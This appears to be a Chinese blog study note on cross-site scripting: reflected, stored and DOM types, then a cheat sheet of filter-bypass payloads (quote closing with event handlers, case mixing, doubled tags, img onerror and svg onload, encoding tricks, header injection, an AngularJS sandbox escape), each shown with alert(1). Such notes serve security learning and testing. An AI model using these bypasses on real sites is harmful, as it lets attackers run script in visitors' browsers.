xss注入
xss注入
基本类型:反射型、存储型、DOM型
js事件:HTML 事件参考手册 (w3school.com.cn)
反射型xss
特点:仅执行一次
攻击方式:攻击者将含有xss恶意代码的链接发送给用户,当用户访问链接时,服务器接收用户请求(如果服务器没用进行检查),把带有xss代码的数据发送给用户浏览器,浏览器解析xss恶意脚本后触发漏洞
输入框使用js代码
存储型xss
特点:持久
攻击方式:攻击者在发帖的同时将恶意脚本连同帖子一起上传,服务器存储于数据库中,当其他用户访问该帖子时,恶意脚本就在他们的浏览器执行
用于论坛、博客、留言板
输入的信息保存于数据库中,下次读取时拼接到前端代码
DOM型xss
DOM型xss是一种特殊的反射型xss,基于DOM文档对象模型的一种漏洞,不与后端交互
通过 HTML DOM,JavaScript 能够访问和改变 HTML 文档的所有元素。
攻击方式:用户请求了一个恶意url,参数中可能有些值会被动态js代码所执行,当用户的浏览器处理响应时,JavaScript 改变 HTML 文档的元素,引入xss。
xss绕过
闭合+事件绕过
javascript伪协议:javascript伪协议 - komomon - 博客园 (cnblogs.com)
<input name=keyword value="...">
<input name=keyword value="" onclick='javascript:alert(1)'">
单引号或双引号闭合标签+js事件
如果本身是在script标签里面,就用js语法闭合
原:var username = '......'; payload=';alert(1);'
var username = '';alert(1);'';
大小写绕过
<ScRipt>alert(1)</ScriPt>
双写绕过
如果后端代码是将特殊标签如script替换成 "" 时使用
<scr<script>ipt>alert(1)</scr<script>ipt>
标签绕过
/(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i,完全过滤script标签
<img src=1 onerror=alert(1)> //onerror 事件在加载外部文件(文档或图像)发生错误时触发。可了解一下js的事件
<audio>、<embed>、<img>、<object> 以及 <video>
<a href="javascript:alert(1)">flag</a>
<svg onload=alert(1)>
也可用假标签:<m onclick="alert(1)">
编码绕过
HTML编码
&开头,;结尾
只要是DOM节点里属性的值,都可以被HTML编码和解析
属性状态的字符引用:如<a href=javascript:alert(1)>M
里面的实体编号值可绕过检测,到客户端时被解析成对应的实体符号javascript:alert(1)
URL编码
对协议(javascript)部分使用HTML编码,后面命令执行进行URL编码
javascript编码
注:Unicode 编码不能对括号使用
空格绕过
过滤空格时:用/替换,<a/href=....>
用换行符替换,URL编码将回车符转换为%0d、%0a
POST报文头注入
referer、user-agent、cookie,闭合注入,与sql类似
当接收参数涉及到POST报文的内容时使用
杂
当有\转义时,尝试用\闭合;
原:var username = '......'; payload=\';alert(1);'
var username = '\';alert(1);'';
沙箱逃逸
AngularJS(Angular)是一个著名的基于JavaScript的开源Web框架,从Angular1.6及以后版本,Angular沙箱已被删除
XSS payload如下:
{{7*7}}
如果算出49,说明可沙箱逃逸
payload:{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };语句//');}}
如:{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
利用:AngularJS Sandbox Bypasses - 先知社区 (aliyun.com)
文章
xss 常用标签及绕过姿势总结 - FreeBuf网络安全行业门户
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理